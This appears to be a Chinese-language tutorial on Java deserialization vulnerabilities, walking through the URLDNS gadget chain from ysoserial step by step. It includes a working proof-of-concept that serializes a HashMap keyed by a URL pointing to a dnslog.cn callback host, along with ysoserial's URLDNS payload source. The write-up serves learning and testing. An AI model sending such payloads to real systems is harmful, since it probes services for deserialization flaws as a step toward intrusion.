概述

大概意思:

序列化:对象 -> 字符串
反序列化:字符串 -> 对象

几种创建的序列化和反序列化协议

  • XML&SOAP
  • JSON
  • Protobuf

序列化与反序列化基本实现

将序列化功能封装进了 serialize 这个方法里面,在序列化当中,我们通过这个 FileOutputStream 输出流对象,将序列化的对象输出到 ser.bin 当中。再调用 oos 的 writeObject 方法,将对象进行序列化操作。

Serialization

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);

Unserialize

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();

序列化的安全问题

重要函数

writeObject 和 readObject

存在安全漏洞的形式

0x01 入口类的 readObject 直接调用危险方法

0x02 入口参数中包含可控类,该类有危险方法,readObject 时调用

0x03 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject 时调用

0x04 构造函数/静态代码块等类加载时隐式执行

漏洞的攻击路线

首先的攻击前提:继承 Serializable

入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数;最好 jdk 自带)

找到入口类之后要找调用链 gadget chain 相同名称、相同类型

执行类 sink (RCE SSRF 写文件等等)比如 exec 这种函数

URLDNS 分析

urldns 地址

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

利用链

Gadget Chain:     
    HashMap.readObject()         
    	HashMap.putVal()             
    		HashMap.hash()                 
    			URL.hashCode()

先看 Hashmap 的readobject方法

//还有一堆省略了
for (int i = 0; i < mappings; i++) {
    @SuppressWarnings("unchecked")
        K key = (K) s.readObject();
    @SuppressWarnings("unchecked")
        V value = (V) s.readObject();
    putVal(hash(key), key, value, false, false);
}

跟进hash函数

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里使用的是key.hashcode。于是需要寻找key来源。

在POC里面URL需要使用hashmap.put()方法,

hashmap.put(new URL("DNS地址以"),1);

跟进put方法。

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

发现调用了hash函数,hash里面的key便是传的URL参数。

跟进URL里面查找hashcode().

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

继续跟进handler。

transient URLStreamHandler handler;

继续跟进URLStreamHandler,寻找hashcode。

protected int hashCode(URL u) {
    int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
    h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
    h += addr.hashCode();
} else {
    String host = u.getHost();
    if (host != null)
        h += host.toLowerCase().hashCode();
}

继续跟进hostAddress()

protected InetAddress getHostAddress(URL u) {
    return u.getHostAddress();
}

继续跟进

synchronized InetAddress getHostAddress() {
    if (hostAddress != null) {
        return hostAddress;
    }

    if (host == null || host.isEmpty()) {
        return null;
    }
    try {
        hostAddress = InetAddress.getByName(host);
    } catch (UnknownHostException | SecurityException ex) {
        return null;
    }
    return hostAddress;
}

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。到这⾥就不必要再跟了。

利用链

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

URLDNS 反序列化利用链的 POC

package org.example;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL; import java.util.HashMap;
public class URLDNS {
    public static void main(String[] args) throws Exception {
        // new一个 HashMap 出来,这是此 gadget 的起点;
        // 然后设置需要访问的url
        HashMap hashMap = new HashMap();
        URL url = new URL("http://aer4rt.dnslog.cn");
        // 将私有的 hashCode 设置为可以更改
        Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
        field.setAccessible(true);
        // 设置 url 对象内的 hashCode 为 0x123
        field.set(url, 0x123);
        // 将键值存入hashMap
        hashMap.put(url, "qqq");
        // 设置 url 对象内的 hashCode 为 -1(不可更改)
        field.set(url, -1);
        // 序列化,写入文件
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./out.ser"));
        outputStream.writeObject(hashMap);
        outputStream.close();
        // 反序列化,读取文件
        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.ser"));
        inputStream.readObject();
        inputStream.close();
    }
}

注意

我们需要注意hashmap中的put方法。

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

在URL对象再初始化之后的hashCode默认为-1。也就是说生成payload的过程中,如果不做任何修改就直接把URL对象放入HashMap是在本地触发一次DNS查询的。

注释field.set(url, 0x123);发现默认为-1

img
这时候hashCode默认为-1,然后就会进入hash(key)触发DNS查询。这就会混淆是你本地的查询还是对方机器的查询的DNS。在put之前修改个hashCode,就可以避免触发。

而在put了之后,需要field.set(url, -1);把这个字段修改回来,去触发DNS请求。

查看yso做法

public class URLDNS implements ObjectPayload<Object> { 
    public Object getObject(final String url) throws Exception { 
        //Avoid DNS resolution during payload creation 
        //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. 
        URLStreamHandler handler = new SilentURLStreamHandler(); 
        HashMap ht = new HashMap(); 
        // HashMap that will contain the URL 
        URL u = new URL(null, url, handler); // URL to use as the Key 
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. 
        Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. 
        return ht; 
    } 
    public static void main(final String[] args) throws Exception { 
        PayloadRunner.run(URLDNS.class, args); 
    } 
    static class SilentURLStreamHandler extends URLStreamHandler { 
        protected URLConnection openConnection(URL u) throws IOException { 
            return null; 
        } 
        protected synchronized InetAddress getHostAddress(URL u) { 
            return null; 
        } 
    } 
}

它代码中没有使用 field.set(url, 0x123); ,但是自定了一个类为 SilentURLStreamHandler,这个类重写了getHostAddress() 函数,重写后的 getHostAddress() 是个空的,也就导致在本地生成 poc 的时候不会有 DNS 请求。